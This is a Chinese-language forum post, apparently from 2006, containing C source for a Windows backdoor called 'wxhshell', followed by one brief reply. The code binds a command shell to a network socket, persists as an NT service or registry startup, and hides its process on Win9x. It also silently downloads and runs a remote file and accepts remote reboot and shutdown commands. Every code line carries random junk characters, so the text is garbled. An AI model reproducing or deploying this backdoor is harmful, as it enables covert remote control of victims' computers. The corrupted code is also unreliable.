  if(strstr(cmd,"http://")) { =}6yMR!4R<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6tC0F=  
  if(DownloadFile(cmd,wsh)) y6 bl&_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /T53"+7:0  
  else {=5Wi|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {_GhS%  
  } vR X_}`m8#  
  else { WJp9io[GM  
2m]C mdV^  
    switch(cmd[0]) { afVl)2h  
  n2NxO0  
  // 帮助 K'6dlwn).  
  case '?': { "enGWI H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KiXRBFo  
    break;  F'!pM(+  
  } ]m _<lRye  
  // 安装 -RisZ-n*  
  case 'i': { 5 *8 V4ca  
    if(Install()) owz6j:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z?NMQ8l|:6  
    else 9A@/5Z:v5W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8U98`# i  
    break; B:-qUuS?R  
    } s<f<:BC  
  // 卸载 ;<j[0~qp:  
  case 'r': { ?Vy% <f$  
    if(Uninstall()) lV4|(NQ9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vkFq/+'U  
    else eI%{/>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MGt[zLF9  
    break; sp=;i8Y 3  
    } @WmEcX|  
  // 显示 wxhshell 所在路径 O#j&8hQ>  
  case 'p': { Pz+2(Z  
    char svExeFile[MAX_PATH]; &!|'EW  
    strcpy(svExeFile,"\n\r"); P4&3jQ[o  
      strcat(svExeFile,ExeFile); i&%~:K*  
        send(wsh,svExeFile,strlen(svExeFile),0); -@6R`m= >  
    break; ^lB=O  
    } kj$Ks2!W  
  // 重启 ,4O|{Iu#n  
  case 'b': { 2U;6sn*e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tZW2TUM]  
    if(Boot(REBOOT)) |@6t"P]@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :gD=F&V  
    else { U3R;'80 f  
    closesocket(wsh); = ;hz,+  
    ExitThread(0); it Byw1/  
    } (n4\$LdP-  
    break; 3`%]3qd}  
    } ljr?Z,R4  
  // 关机 %25GplMT  
  case 'd': { xL-]gwq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4^3}+cJ7j  
    if(Boot(SHUTDOWN)) <'{*6f@n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6ol*$Q"z  
    else { 'T!^H  
    closesocket(wsh); Pdq}~um3{  
    ExitThread(0); /2%646  
    } })v`` +  
    break; )=~OP>7B  
    } c#-o@`Po  
  // 获取shell 16J" QUuG  
  case 's': { |` N|S  
    CmdShell(wsh); J@ CKgE  
    closesocket(wsh); F.]D\"0`  
    ExitThread(0); M<nKk#!+h  
    break; ';>]7oT`  
  } h83W;s  
  // 退出 fJiY~mQ  
  case 'x': { F'~\!dNL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); apz) 4%A  
    CloseIt(wsh); 0bl?dOV{  
    break;  S2;u!f  
    } r]sN I[  
  // 离开 DlMT<ld  
  case 'q': { xF/u('A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JX.3b_O  
    closesocket(wsh); 8^ ujA  
    WSACleanup(); -z s5WaJn/  
    exit(1); W(gOid KKz  
    break; AmyZ9r#{  
        } 3xhGmD\SKO  
  } b.N$eJlQ&  
  } G!G]*p5  
Y8%bk2  
  // 提示信息 efT@A}sV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MWl2;qi  
}  V6L0\  
  } ~;V5*t  
V*Q!J{lj^#  
  return; ;4:[kv@  
} 6E)emFkQ  
e|-%-juI  
// shell模块句柄 aVE/qXB  
int CmdShell(SOCKET sock) VUneCt%  
{ 'vP"& lrn  
STARTUPINFO si; _9pcHhJux  
ZeroMemory(&si,sizeof(si)); >z"\l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I(5sKU3<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B7 #O>a  
PROCESS_INFORMATION ProcessInfo; +jPJv[W  
char cmdline[]="cmd"; WA?We7m$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T4JG5  
  return 0; =$w QA  
} .7<6 zG6J  
_w.H]`C!X  
// 自身启动模式 BwJL)$D<S  
int StartFromService(void) Qq|c%FZ  
{ 6)h~9iK  
typedef struct Hz >_tA"^T  
{ "XB6k 0.#  
  DWORD ExitStatus; o..iT:f;n  
  DWORD PebBaseAddress; L!c.1Rf_  
  DWORD AffinityMask; !>8/Xz~-  
  DWORD BasePriority; F*Y]^9]  
  ULONG UniqueProcessId; -T8'|"g  
  ULONG InheritedFromUniqueProcessId; Ai*+LSG  
}   PROCESS_BASIC_INFORMATION; sqv!,@*q  
k^{}p8;3  
PROCNTQSIP NtQueryInformationProcess; SR$?pJh D%  
>4^,[IO/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $ dR@Q?_{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; INRP@Cp1  
U&'Xs z  
  HANDLE             hProcess; 8+n *S$  
  PROCESS_BASIC_INFORMATION pbi; 0hpU9w}12  
@TraEBJGL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jwtt&" c0.  
  if(NULL == hInst ) return 0; $fhR1A  
(^~0%1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kTfE*We9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }nK=~Wcu\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Maw$^Tz,  
aJzyEb  
  if (!NtQueryInformationProcess) return 0; GTocN1,Z~a  
f5`q9w_c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,GY K3+}Z  
  if(!hProcess) return 0; [!S%nYs&8L  
($X2SIZh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m:W+s4!E  
r]B`\XWz  
  CloseHandle(hProcess); G@4n]c_  
U:fGIEz{ZY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vPSY 1NC5  
if(hProcess==NULL) return 0; WX&0;Kr  
Ru~;awV?  
HMODULE hMod; (,j ~s{  
char procName[255]; hbSXa'  
unsigned long cbNeeded; aE2Yl  
FwpTQix!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w gkY \Q  
P_F0lO  
  CloseHandle(hProcess); 5,#aN}v#?  
9zNMv-  
if(strstr(procName,"services")) return 1; // 以服务启动 Z&6*8#wn  
v@1f,d  
  return 0; // 注册表启动 {wp tOZ  
} BMH?BRi  
U1=]iG<%  
// 主模块 Ol)M0u  
int StartWxhshell(LPSTR lpCmdLine) Fvr$K*u  
{ swfjKBfw+g  
  SOCKET wsl; 'p&q}IO  
BOOL val=TRUE; *Xk gwJq  
  int port=0; h%ba!  
  struct sockaddr_in door; :OD-L)Or  
k&pV`.Imi  
  if(wscfg.ws_autoins) Install(); #^9a[ZLj0  
tKCX0UZ'  
port=atoi(lpCmdLine); 2!nz>K  
Id?2(Tg  
if(port<=0) port=wscfg.ws_port; C4|H 5H  
/& o<kY  
  WSADATA data; _m#P\f'p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?#|in}  
%&M*G@j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q\d/-K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p&lT! 5P!A  
  door.sin_family = AF_INET; Tilw.z  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yhxZ^ (I  
  door.sin_port = htons(port); [-hsG E  
@ 5V3I^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cdv0:+[P  
closesocket(wsl); ^o[(F<q  
return 1; "vo o!&<  
} psAr>:\3  
S20E}bS:>  
  if(listen(wsl,2) == INVALID_SOCKET) {  <xwaFZ  
closesocket(wsl); Ze3sc$fG2  
return 1; 7D=gAMPvJ  
} im@c||  
  Wxhshell(wsl); 8M6Qn7{L  
  WSACleanup(); N3&n"w _d  
,H5o/qNU`{  
return 0; wmaj[e,h  
QV_Ep8  
} _MzdbUb5,  
nT%<!/}!  
// 以NT服务方式启动 g acE?bW'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 43/!pW  
{ VRvX^w0  
DWORD   status = 0; S !R:a>\  
  DWORD   specificError = 0xfffffff; gFw- P#t  
 m8z414o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m$A-'*'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C''[[sw'K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z]k+dJ[-  
  serviceStatus.dwWin32ExitCode     = 0; d^G5Pq  
  serviceStatus.dwServiceSpecificExitCode = 0; &` weW  
  serviceStatus.dwCheckPoint       = 0; 4/QQX;w  
  serviceStatus.dwWaitHint       = 0; {p7b\=WB-  
e%v0EJ},  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FS6I?q#tQ  
  if (hServiceStatusHandle==0) return; |&\cr\T\r  
l1D"*J 2`  
status = GetLastError(); DTM xfQdk  
  if (status!=NO_ERROR) J85Kgd1 \a  
{ W%P0X5YQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qh,Dcg2ZM"  
    serviceStatus.dwCheckPoint       = 0; RRJN@|"  
    serviceStatus.dwWaitHint       = 0; jrm L>0NZ  
    serviceStatus.dwWin32ExitCode     = status; m95;NT1N/g  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~n9-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V>B*_J,z.  
    return;  nCSXvd/  
  } R\>=}7  
.6y(ox|LL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jkub|w#QH  
  serviceStatus.dwCheckPoint       = 0; ?KXgG'!!  
  serviceStatus.dwWaitHint       = 0; & <Jvaf_=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "jAEZ  
} #{Gojg`5O  
n Y=]KU  
// 处理NT服务事件,比如:启动、停止 F(+dX4$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \&1Di\eL  
{ q@&.)sLPgO  
switch(fdwControl) UZ3oc[#D=]  
{ .[hbiv#  
case SERVICE_CONTROL_STOP: e(;nhU3a*,  
  serviceStatus.dwWin32ExitCode = 0; I DtGtkF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \:d|'r8OCM  
  serviceStatus.dwCheckPoint   = 0; .5YIf~!59  
  serviceStatus.dwWaitHint     = 0; x2 m A  
  { *XSHzoT*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G ~|Z (}H  
  } D4W^{/S  
  return; rd4\N2- 6  
case SERVICE_CONTROL_PAUSE: @Z%I g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I\oI"\}U  
  break; OA\ *)c+F  
case SERVICE_CONTROL_CONTINUE: bF{14F$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qaN%&K9F8  
  break; z\Y-8a.]  
case SERVICE_CONTROL_INTERROGATE: .~fAcc{Qj  
  break; c!}f\ ]D  
}; R'{BkC}.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hu''"/raM  
} ~pj/_@S@x  
lhLE)B2a2  
// 标准应用程序主函数 K/+w6d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %b(non*  
{ {Tym#  
U,)@+?U+h  
// 获取操作系统版本 *C n `pfO  
OsIsNt=GetOsVer(); jM  DG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wa}\bNKQk  
om'DaG`A  
  // 从命令行安装 SUQk0 (M  
  if(strpbrk(lpCmdLine,"iI")) Install(); ??.9`3CYo  
7Yrp#u1!  
  // 下载执行文件 H3Z"u  
if(wscfg.ws_downexe) { _/zK ^S)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <xWBS/K  
  WinExec(wscfg.ws_filenam,SW_HIDE); %T:7I[f  
} }v?_.MtS  
G~;hD-D~.  
if(!OsIsNt) { L?gak@E  
// 如果时win9x,隐藏进程并且设置为注册表启动 *K1GX  
HideProc(); G>fJ)A  
StartWxhshell(lpCmdLine); yxU??#v|g  
} -U/m  
else 09 >lx$  
  if(StartFromService()) rM?ox  
  // 以服务方式启动 V=g<3R&  
  StartServiceCtrlDispatcher(DispatchTable); ntT~_Ba8;u  
else MVpk/S%W  
  // 普通方式启动 7JI&tlR4\c  
  StartWxhshell(lpCmdLine); BXf.^s{H  
^7l^ /GSO  
return 0; NFQR  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八